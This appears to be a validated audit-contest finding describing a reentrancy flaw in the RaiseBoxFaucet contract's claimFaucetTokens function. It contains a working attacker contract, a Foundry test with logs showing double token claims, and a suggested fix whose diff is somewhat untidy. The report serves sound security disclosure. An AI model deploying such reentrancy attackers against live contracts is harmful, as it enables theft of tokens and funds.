Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

[M-01] Reentry in claimFaucetTokens allowing to claim the tokens twice in a single call

Description

The function claimFaucetTokens of the contract RaiseBoxFaucet is vulnerable to a reentry attack. Although the contract protects against reentry for the ETH transfer (by updating hasClaimedEth before the transfer), it does not follow the pattern "Checks-Effects-Interactions" for the transfer of tokens. Indeed, the function performs a token transfer via _transfer after making an external call (for ETH) and before updating the lastClaimTime and dailyClaimCount status for the current call.

An attacker can deploy a malicious contract that, upon receiving ETH (in the receive function), recalls the claimFaucetTokens function. During this second call, the checks are carried out because lastClaimTime has not yet been updated by the first call. Thus, the attacker receives a second time the faucet tokens. However, the cooldown prevents a third re-entry because lastClaimTime is updated after the transfer of tokens.


function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
// (lastClaimTime[faucetClaimer] == 0);
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
// drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
// still checks
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
// dailyClaimCount = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
// @> root cause (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
/**
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
// Effects
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}

Risk

Likelihood:

High: an attacker can easily deploy a contract to exploit this vulnerability whenever they claim tokens.

Impact:

An attacker can obtain twice the amount of faucet tokens (2000 tokens instead of 1000) in a single transaction. In addition, it also receives the ETH drip (0.005 ETH) only once. This allows the attacker to access more tokens than allowed, which can lead to an imbalance in token distribution and a partial drain of the contract.

Proof of Concept

function testTokenReentrancy() public {
TokenReentrancyAttacker attacker = new TokenReentrancyAttacker(address(raiseBoxFaucet));
// initiales Balances
uint256 attackerTokenBalanceBefore = raiseBoxFaucet.balanceOf(address(attacker));
uint256 faucetTokenBalanceBefore = raiseBoxFaucet.balanceOf(address(raiseBoxFaucet));
uint256 faucetDrip = raiseBoxFaucet.faucetDrip();
console.log("Balance tokens attacker before:", attackerTokenBalanceBefore);
console.log("Balance tokens faucet befor:", faucetTokenBalanceBefore);
console.log("Normal Drip Amount:", faucetDrip);
// attack start
attacker.attack();
// finales Balances
uint256 attackerTokenBalanceAfter = raiseBoxFaucet.balanceOf(address(attacker));
uint256 faucetTokenBalanceAfter = raiseBoxFaucet.balanceOf(address(raiseBoxFaucet));
console.log("Balance tokens attacker after:", attackerTokenBalanceAfter);
console.log("Balance tokens faucet after:", faucetTokenBalanceAfter);
// assert
assert(attackerTokenBalanceAfter > attackerTokenBalanceBefore + faucetDrip);
console.log("");
console.log("Tokens receive:", attackerTokenBalanceAfter - attackerTokenBalanceBefore);
console.log("Drips made:", (attackerTokenBalanceAfter - attackerTokenBalanceBefore) / faucetDrip);
}
contract TokenReentrancyAttacker {
RaiseBoxFaucet public raiseBoxFaucet;
uint256 public attackCount;
constructor(address _raiseBoxFaucet) {
raiseBoxFaucet = RaiseBoxFaucet(payable(_raiseBoxFaucet));
}
function attack() public {
raiseBoxFaucet.claimFaucetTokens();
}
receive() external payable {
attackCount++;
if (attackCount == 1) {
raiseBoxFaucet.claimFaucetTokens();
}
}
}

Result :

Logs:
Balance tokens attacker before: 0

Balance tokens faucet befor: 1000000000000000000000000000

Normal Drip Amount: 1000000000000000000000

Balance tokens attacker after: 2000000000000000000000

Balance tokens faucet after: 999998000000000000000000000

Tokens receive: 2000000000000000000000

Drips made: 2


Recommended Mitigation

It is recommended to follow the pattern "Checks-Effects-Interactions" to secure the function. More precisely:

  1. Perform all checks first.

  2. Update all states (effects) before any external interaction.

  3. Perform the external interactions (interactions) last.

In the case of the function claimFaucetTokens, it is necessary to:

Update lastClaimTime[msg.sender] and dailyClaimCount before transferring ETH and tokens.
Move ETH transfer and token transfer after state update.

In addition, it is advisable to use a reentry modifier (such as OpenZeppelin’s nonReentrant) to protect against this type of attack.

Here is an excerpt from the correction:

Note: It is also necessary to reset dailyDrips if necessary, but this must be done in the Effects section.

Another solution is to use a guard against reentry:

import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract RaiseBoxFaucet is ReentrancyGuard {
function claimFaucetTokens() public nonReentrant {
// ... the function code ...
}
}

import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract RaiseBoxFaucet is ReentrancyGuard {
function claimFaucetTokens() public nonReentrant {
// ... the function code ...
}
}
function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
// AJOUTER: Effects avant les interactions
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
// Interactions
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
// AJOUTER: Mettre à jour l'état avant le transfert
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
}
- else { dailyDrips = 0; }
// Interactions (transfert de tokens)
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.